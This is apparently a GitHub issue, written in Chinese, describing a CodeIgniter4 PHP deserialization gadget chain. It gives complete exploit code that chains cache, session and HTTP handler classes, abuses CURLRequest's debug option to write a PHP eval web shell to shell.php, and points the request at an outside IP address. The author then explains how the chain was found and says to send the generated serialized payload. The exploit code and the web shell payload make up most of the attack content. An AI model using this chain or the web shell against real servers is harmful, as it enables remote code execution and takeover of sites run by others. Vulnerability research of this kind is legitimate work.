Skip to content

CodeIgniter4 反序列化 #13

@Aaisui

Description

@Aaisui

这个比较安全,只有两个写文件的地方,如果配置正确不会出现错误的- -
我觉得这两个链子主要是给我提供了要对报错和request敏感一点..
第一个:
exp:

<?php


namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct()
        {
            $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler();
        }
    }
}

namespace CodeIgniter\Session\Handlers{

    use CodeIgniter\HTTP\CURLRequest;

    class MemcachedHandler{
        protected $memcached;
        protected $lockKey = "http://81.69.201.65/test.php";
        public function __construct()
        {
            $this->memcached = new CURLRequest();
        }
    }
}

namespace CodeIgniter\HTTP{
    class CURLRequest {
        protected $method;
        protected $config = [
            'timeout'         => 0.0,
            'connect_timeout' => 150,
            'debug'           => 'shell.php',
            'verify'          => true,
            'auth'            =>['<?php eval($_POST[0]);?>','<?php eval($_POST[0]);?>']
        ];
        public function __construct()
        {
            $this->method = "GET";
        }
    }
}

namespace {

    use CodeIgniter\Cache\Handlers\RedisHandler;

    $a = new RedisHandler();
    echo urlencode(serialize($a));
}

全局下好用的起点只有这个。
图片

搜索close,找到MemachedHandler.php
图片
发现delete函数可控,全局搜索delete函数,找到request函数,跟过去其实发现url可控。不过对于我们其实没有影响=。=

图片

重点在send函数这里,再跟进option设置里面
图片

发现debug模式情况下可以open文件并写入文件,且文件名可控,那么我们控制其为*.php
图片

观察写入的内容,测了一下其实这里的内容不会被urlencode
图片

直接生成payload打过去。
图片

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions